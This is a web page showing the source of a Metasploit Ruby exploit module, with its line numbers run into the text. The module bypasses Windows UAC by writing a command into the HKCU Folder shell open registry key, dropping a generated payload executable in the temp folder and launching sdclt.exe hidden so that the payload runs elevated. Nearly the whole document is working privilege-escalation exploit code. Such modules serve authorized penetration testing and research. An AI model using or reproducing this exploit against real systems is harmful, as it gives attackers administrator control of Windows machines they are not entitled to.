Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bypassuac_sdclt.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Post::Windows::Priv11include Post::Windows::Runas1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)',18'Description' => %q{19This module will bypass Windows UAC by hijacking a special key in the Registry under20the current user hive, and inserting a custom command that will get invoked when21Window backup and restore is launched. It will spawn a second shell that has the UAC22flag turned off.2324This module modifies a registry key, but cleans up the key once the payload has25been invoked.26},27'License' => MSF_LICENSE,28'Author' => [29'enigma0x3', # UAC bypass discovery and research30'bwatters-r7', # Module31],32'Platform' => ['win'],33'SessionTypes' => ['meterpreter'],34'Targets' => [35[ 'Windows x64', { 'Arch' => ARCH_X64 } ]36],37'DefaultTarget' => 0,38'Notes' => {39'Stability' => [CRASH_SAFE],40'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],41'Reliability' => []42},43'References' => [44['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'],45['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'],46['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass']47],48'DisclosureDate' => '2017-03-17',49'Compat' => {50'Meterpreter' => {51'Commands' => %w[52stdapi_sys_config_getenv53stdapi_sys_process_execute54]55}56}57)58)59register_options(60[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]61)62end6364def check65version = get_version_info66if version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_uac_enabled?67Exploit::CheckCode::Appears68else69Exploit::CheckCode::Safe70end71end7273def write_reg_values(registry_key, payload_pathname)74registry_createkey(registry_key) unless registry_key_exist?(registry_key)75registry_setvaldata(registry_key, 'DelegateExecute', '', 'REG_SZ')76registry_setvaldata(registry_key, '', payload_pathname, 'REG_SZ')77rescue ::Exception => e78print_error(e.to_s)79end8081def exploit82@registry_key = ''83@remove_registry_key = false84check_permissions!85case get_uac_level86when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,87UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,88UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT89fail_with(Failure::NotVulnerable,90"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")91when UAC_DEFAULT92print_good('UAC is set to Default')93print_good('BypassUAC can bypass this setting, continuing...')94when UAC_NO_PROMPT95print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')96shell_execute_exe97return98end99100@registry_key = 'HKCU\Software\Classes\Folder\shell\open\command'101@remove_registry_key = !registry_key_exist?(@registry_key)102103# get directory locations straight104win_dir = session.sys.config.getenv('windir')105vprint_status('win_dir = ' + win_dir)106tmp_dir = session.sys.config.getenv('tmp')107vprint_status('tmp_dir = ' + tmp_dir)108exploit_dir = win_dir + '\\System32\\'109vprint_status('exploit_dir = ' + exploit_dir)110target_filepath = exploit_dir + 'sdclt.exe'111vprint_status('exploit_file = ' + target_filepath)112113# make payload114payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe'115payload_pathname = tmp_dir + '\\' + payload_name116vprint_status('payload_pathname = ' + payload_pathname)117vprint_status('Making Payload')118payload = generate_payload_exe119reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"120vprint_status('reg_command = ' + reg_command)121write_reg_values(@registry_key, reg_command)122123# Upload payload124vprint_status("Uploading Payload to #{payload_pathname}")125write_file(payload_pathname, payload)126vprint_status('Payload Upload Complete')127128vprint_status('Launching ' + target_filepath)129begin130session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)131rescue ::Exception => e132print_error("Executing command failed:\n#{e}")133end134print_warning("This exploit requires manual cleanup of '#{payload_pathname}'")135print_status('Please wait for session and cleanup....')136end137138def cleanup139if @registry_key.present?140vprint_status('Removing Registry Changes')141if @remove_registry_key142registry_deletekey(@registry_key)143else144registry_deleteval(registry_key, "DelegateExecute")145registry_deleteval(@registry_key, '')146end147print_status('Registry Changes Removed')148end149end150151def check_permissions!152unless check == Exploit::CheckCode::Appears153fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')154end155fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?156# Check if you are an admin157# is_in_admin_group can be nil, true, or false158print_status('UAC is Enabled, checking level...')159vprint_status('Checking admin status...')160case is_in_admin_group?161when true162print_good('Part of Administrators group! Continuing...')163if get_integrity_level == INTEGRITY_LEVEL_SID[:low]164fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')165end166when false167fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')168when nil169print_error('Either whoami is not there or failed to execute')170print_error('Continuing under assumption you already checked...')171end172end173174end175176177